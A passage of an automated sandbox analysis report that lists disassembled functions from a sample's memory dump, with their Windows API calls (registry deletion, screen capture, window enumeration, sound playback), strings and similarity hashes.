RegCloseKey.ADVAPI32(?), ref: 00A6B89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 00A6B8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00A6B904
RegDeleteKeyW.ADVAPI32(?,?), ref: 00A6B922
FreeLibrary.KERNEL32(00000000), ref: 00A6B983
RegCloseKey.ADVAPI32(00000000), ref: 00A6B994

Strings

RegDeleteKeyExW, xrefs: 00A6B8FE
advapi32.dll, xrefs: 00A6B8ED

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: f995d50c06d4a4c5ed3fd78b64280bc023cb743058dd5744188c68944fb115ae
Instruction ID: ba9ab70f0daad3da52cb2649b649dedecf48484487a3d642774bc186389efd31
Opcode Fuzzy Hash: f995d50c06d4a4c5ed3fd78b64280bc023cb743058dd5744188c68944fb115ae
Instruction Fuzzy Hash: BDC18D31214241AFD715DF25C494F2ABBF5BF84318F14855CF59A8B2A2CB35EC86CBA1

Function 00A6255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00A625D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00A625E8
CreateCompatibleDC.GDI32(?), ref: 00A625F4
SelectObject.GDI32(00000000,?), ref: 00A62601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00A6266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00A626AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00A626D0
SelectObject.GDI32(?,?), ref: 00A626D8
DeleteObject.GDI32(?), ref: 00A626E1
DeleteDC.GDI32(?), ref: 00A626E8
ReleaseDC.USER32(00000000,?), ref: 00A626F3

Strings

(, xrefs: 00A6268D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 7bd185f8c5e7812a9736d8ce1f8057f7bcc7ec920c192c30b39bb160e7486662
Instruction ID: 03944d672638f27c954670658e2b3714472b4f222e921f3be70d75945420b46e
Opcode Fuzzy Hash: 7bd185f8c5e7812a9736d8ce1f8057f7bcc7ec920c192c30b39bb160e7486662
Instruction Fuzzy Hash: D761D275D00219EFCF14CFE4DD84AAEBBB5FF48310F208529E959A7250E774A9418F90

Function 00A1DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00A1DAA1

Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D659
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D66B
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D67D
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D68F
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D6A1
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D6B3
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D6C5
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D6D7
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D6E9
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D6FB
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D70D
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D71F
Part of subcall function 00A1D63C: _free.LIBCMT ref: 00A1D731

_free.LIBCMT ref: 00A1DA96

Part of subcall function 00A129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000), ref: 00A129DE
Part of subcall function 00A129C8: GetLastError.KERNEL32(00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000,00000000), ref: 00A129F0

_free.LIBCMT ref: 00A1DAB8
_free.LIBCMT ref: 00A1DACD
_free.LIBCMT ref: 00A1DAD8
_free.LIBCMT ref: 00A1DAFA
_free.LIBCMT ref: 00A1DB0D
_free.LIBCMT ref: 00A1DB1B
_free.LIBCMT ref: 00A1DB26
_free.LIBCMT ref: 00A1DB5E
_free.LIBCMT ref: 00A1DB65
_free.LIBCMT ref: 00A1DB82
_free.LIBCMT ref: 00A1DB9A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: b1606d8e3a2a8fb64496b5e104278af51ee712b99a6cbe171b63d941b87982d5
Instruction ID: 974d4a0c374f4c151ad89a9bca9bac0d5a9bac39d90af95d9d7612f60fb4a29a
Opcode Fuzzy Hash: b1606d8e3a2a8fb64496b5e104278af51ee712b99a6cbe171b63d941b87982d5
Instruction Fuzzy Hash: 84314B326087059FEB21AB39E945BDA77E9FF403A0F154419E449DB191DF35ECE08720

Function 00A4365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00A4369C
_wcslen.LIBCMT ref: 00A436A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00A43797
GetClassNameW.USER32(?,?,00000400), ref: 00A4380C
GetDlgCtrlID.USER32(?), ref: 00A4385D
GetWindowRect.USER32(?,?), ref: 00A43882
GetParent.USER32(?), ref: 00A438A0
ScreenToClient.USER32(00000000), ref: 00A438A7
GetClassNameW.USER32(?,?,00000100), ref: 00A43921
GetWindowTextW.USER32(?,?,00000400), ref: 00A4395D

Strings

%s%u, xrefs: 00A43734

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: 0517e05e8bf7ac446dfe22278839180dca463d6dd40980d7478afeed03b23d55
Instruction ID: 100f56d50ed4d3abad26b67e84602a3bb14b0453a96e3f852b3c49552ff3e480
Opcode Fuzzy Hash: 0517e05e8bf7ac446dfe22278839180dca463d6dd40980d7478afeed03b23d55
Instruction Fuzzy Hash: 4191F276204206AFDB18DF64C895FEAF7E8FF84350F108529F999C2191DB30EA46CB91

Function 00A44954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00A44994
GetWindowTextW.USER32(?,?,00000400), ref: 00A449DA
_wcslen.LIBCMT ref: 00A449EB
CharUpperBuffW.USER32(?,00000000), ref: 00A449F7
_wcsstr.LIBVCRUNTIME ref: 00A44A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00A44A64
GetWindowTextW.USER32(?,?,00000400), ref: 00A44A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00A44AE6
GetClassNameW.USER32(?,?,00000400), ref: 00A44B20
GetWindowRect.USER32(?,?), ref: 00A44B8B

Strings

ThumbnailClass, xrefs: 00A44A6F, 00A44AF1

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: e5b7174f732f0ff121ea31959d9e58193d364f00b6d0046a1ba361f7b5d40818
Instruction ID: 5c2aee69220ca35bb4ffa4d12517ef51227d2cb6bd8a8ee8ae4f5f75c25015a6
Opcode Fuzzy Hash: e5b7174f732f0ff121ea31959d9e58193d364f00b6d0046a1ba361f7b5d40818
Instruction Fuzzy Hash: 5191CE751042099FDB04DF14C985BAB7BE8FFC8754F048469FD899A096EB30ED46CBA1

Function 00A78D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009F9BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00A78D5A
GetFocus.USER32 ref: 00A78D6A
GetDlgCtrlID.USER32(00000000), ref: 00A78D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00A78E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00A78ECF
GetMenuItemCount.USER32(?), ref: 00A78EEC
GetMenuItemID.USER32(?,00000000), ref: 00A78EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00A78F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00A78F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00A78FA1

Strings

0, xrefs: 00A78E9F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: b02f42e8851dbfa2d45c79d0dc6731aaaf976cfb8e633b41cb8b04aecd31352d
Instruction ID: c3712d2990f223ffd8ae080e01f1dd2b40678207f4651bc3d39e704ccef7baaf
Opcode Fuzzy Hash: b02f42e8851dbfa2d45c79d0dc6731aaaf976cfb8e633b41cb8b04aecd31352d
Instruction Fuzzy Hash: 7A81AE715483019FD720CF24CC88AAB7BE9FB88764F14C91DF98997291DB39D941CBA2

Function 00A4DC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00A4DC20
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00A4DC46
_wcslen.LIBCMT ref: 00A4DC50
_wcsstr.LIBVCRUNTIME ref: 00A4DCA0
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00A4DCBC

Strings

StringFileInfo\, xrefs: 00A4DC8F
DefaultLangCodepage, xrefs: 00A4DD1F
\VarFileInfo\Translation, xrefs: 00A4DCB4
04090000, xrefs: 00A4DCF2
%u.%u.%u.%u, xrefs: 00A4DD9A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: aada01a55ad5f3edbc0474f64b62232757015e449217e7b65b856c1538a6d23a
Instruction ID: 3e1bd2b956bbf96f8f9c85a513cec36a5161d1df3cedba17a65ecdafb928d2a2
Opcode Fuzzy Hash: aada01a55ad5f3edbc0474f64b62232757015e449217e7b65b856c1538a6d23a
Instruction Fuzzy Hash: 81413976940208BADB04AB74DC43FFF37ACEF86760F148469F904A61C2EB759A0187A4

Function 00A6CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00A6CC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00A6CC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00A6CD48

Part of subcall function 00A6CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00A6CCAA
Part of subcall function 00A6CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00A6CCBD
Part of subcall function 00A6CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00A6CCCF
Part of subcall function 00A6CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00A6CD05
Part of subcall function 00A6CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00A6CD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 00A6CCF3

Strings

RegDeleteKeyExW, xrefs: 00A6CCC9
advapi32.dll, xrefs: 00A6CCB8

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 4c301a1ecfd3e25a818abd800c3a263f3ebe9df59a790baf0ef79b8d53cddf95
Instruction ID: 67b282c67bfbc4392fcda63abacbe3f117991cfe7debea9ab95c26ce6160bc66
Opcode Fuzzy Hash: 4c301a1ecfd3e25a818abd800c3a263f3ebe9df59a790baf0ef79b8d53cddf95
Instruction Fuzzy Hash: CE316071901129BBD721DB94DC88EFFBB7CEF45760F004169A949E3140D7349A86DAE0

Function 00A53D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00A53D40
_wcslen.LIBCMT ref: 00A53D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00A53D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00A53DBE
RemoveDirectoryW.KERNEL32(?), ref: 00A53DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00A53E55
CloseHandle.KERNEL32(00000000), ref: 00A53E60
CloseHandle.KERNEL32(00000000), ref: 00A53E6B

Strings

\??\%s, xrefs: 00A53D5B
:, xrefs: 00A53D82
\, xrefs: 00A53D77

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: b342158f60f4bc201f47fbb98d9bb3cf31478a769dcb3af15d58a0e24aad08c7
Instruction ID: 959ac02fdb8ac8e2455b2e77e7bddd58d26854541b71511eb7fcf0f5d9302f8d
Opcode Fuzzy Hash: b342158f60f4bc201f47fbb98d9bb3cf31478a769dcb3af15d58a0e24aad08c7
Instruction Fuzzy Hash: A0319273900209AADB21DBA0DC49FEB37BCFF88751F1045B9FA09D6061E77097898B64

Function 00A4E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00A4E6B4

Part of subcall function 009FE551: timeGetTime.WINMM(?,?,00A4E6D4), ref: 009FE555

Sleep.KERNEL32(0000000A), ref: 00A4E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 00A4E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00A4E727
SetActiveWindow.USER32 ref: 00A4E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00A4E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 00A4E773
Sleep.KERNEL32(000000FA), ref: 00A4E77E
IsWindow.USER32 ref: 00A4E78A
EndDialog.USER32(00000000), ref: 00A4E79B

Strings

BUTTON, xrefs: 00A4E719

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: f6237ba26ebe929193965064e0116a3b6bbb5e86ca2337703fdae94789592fb4
Instruction ID: 47cafde6f2a6449d82f402ab47dba886857aff510b7b4f45dc2e1deda06a09b6
Opcode Fuzzy Hash: f6237ba26ebe929193965064e0116a3b6bbb5e86ca2337703fdae94789592fb4
Instruction Fuzzy Hash: 3221C674600204AFEB00DFE0ECDAF253B69F7943A9F106539F505C21B2DB719C429B14

Function 00A4E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00A4EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00A4EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A4EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00A4EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00A4EAA7

Strings

play PlayMe wait, xrefs: 00A4EA91
play PlayMe, xrefs: 00A4EAA2
open , xrefs: 00A4EA0C
close PlayMe, xrefs: 00A4EA6E, 00A4EA9B
status PlayMe mode, xrefs: 00A4EA58
alias PlayMe, xrefs: 00A4EA36

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: b59de1d53308d5e4ed7c90808c12b51e09bae0173c3a10a1e062eb555d8d8ea2
Instruction ID: 544c27084cd2e46715386a7fb2e8b9f9013d9174fcd9ed5f9af3bc3915e84120
Opcode Fuzzy Hash: b59de1d53308d5e4ed7c90808c12b51e09bae0173c3a10a1e062eb555d8d8ea2
Instruction Fuzzy Hash: F2111C35A9025979D721E7A2DC4AEFB6B7CFBD2B40F444829B811A30D1EBB05D45C9B0

Function 00A45CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00A45CE2
GetWindowRect.USER32(00000000,?), ref: 00A45CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00A45D59
GetDlgItem.USER32(?,00000002), ref: 00A45D69
GetWindowRect.USER32(00000000,?), ref: 00A45D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00A45DCF
GetDlgItem.USER32(?,000003E9), ref: 00A45DDD
GetWindowRect.USER32(00000000,?), ref: 00A45DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00A45E31
GetDlgItem.USER32(?,000003EA), ref: 00A45E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00A45E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00A45E67

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 8a94ebcd74636034f318a66e558ee9219f88173d17f681e09d59bafe15d96483
Instruction ID: 829f5832c2863692a9665854f76e1277d891f7dac01ab2623f891bfe0d779866
Opcode Fuzzy Hash: 8a94ebcd74636034f318a66e558ee9219f88173d17f681e09d59bafe15d96483
Instruction Fuzzy Hash: 32512D74E00605AFDF18CFA8CD89AAEBBB5FF88310F148129F519E6291D7709E41CB50

Function 009F8BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 009F8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,009F8BE8,?,00000000,?,?,?,?,009F8BBA,00000000,?), ref: 009F8FC5

DestroyWindow.USER32(?), ref: 009F8C81
KillTimer.USER32(00000000,?,?,?,?,009F8BBA,00000000,?), ref: 009F8D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00A36973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,009F8BBA,00000000,?), ref: 00A369A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,009F8BBA,00000000,?), ref: 00A369B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,009F8BBA,00000000), ref: 00A369D4
DeleteObject.GDI32(00000000), ref: 00A369E6

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 11c1d24f3c699a33fed3559d2398639d1077e849a3eb8e8ddcf46cf367c42f90
Instruction ID: f3da752e60e20bef8e4fc5c7c019f3eaa950e7d5783f53902cc0c16bd238d262
Opcode Fuzzy Hash: 11c1d24f3c699a33fed3559d2398639d1077e849a3eb8e8ddcf46cf367c42f90
Instruction Fuzzy Hash: EE61AA31502608EFCB65DF64DD58B3677F1FB40322F548A1CE2869B9B0CB35A992DB90

